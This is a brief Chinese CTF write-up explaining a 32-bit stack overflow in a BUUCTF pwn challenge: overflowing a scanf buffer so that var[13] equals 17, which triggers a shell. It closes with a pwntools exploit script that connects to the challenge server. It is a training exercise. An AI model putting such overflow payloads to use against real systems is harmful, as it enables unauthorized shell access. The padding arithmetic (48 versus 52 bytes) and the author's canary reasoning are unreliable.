
今天来做一题,却感觉很奇怪QAQ
首先checksec,发现和平时不一样的是多了一层canary保护,这让我觉得这题有点难
还看到是32位小端序,放ida,看核心代码
看来需要利用栈溢出把var[13]写入17。
但这时候我们可能会想这一题开启了canary保护,我们不知道canary到底在哪里?万一覆盖了canary的值导致程序崩溃怎么办?
事实上canary的检验是在ret执行之前,就算我们覆盖了canary,当程序走向system('/bin/bash')的时候其实还是没有到执行ret的,所以就不会触发canary保护。(纯纯个人理解)
还看到scanf()函数可以无限输入,纯在栈溢出
__isoc99_scanf("%s", var, v4, v5);实际上就是输入var的意思。
var距离栈顶的距离其实是不好确定的,但是只需要知道一个var[]占用4个字节,写入12*4=48字节的垃圾字符,再输入17ull所以这一题exp:
from pwn import *
p = remote('node5.buuoj.cn', 26277)
offset = 13
payload = b'AAAA' * offset +p32(17)
p.recvuntil(b'?')
p.sendline(payload)
p.interactive()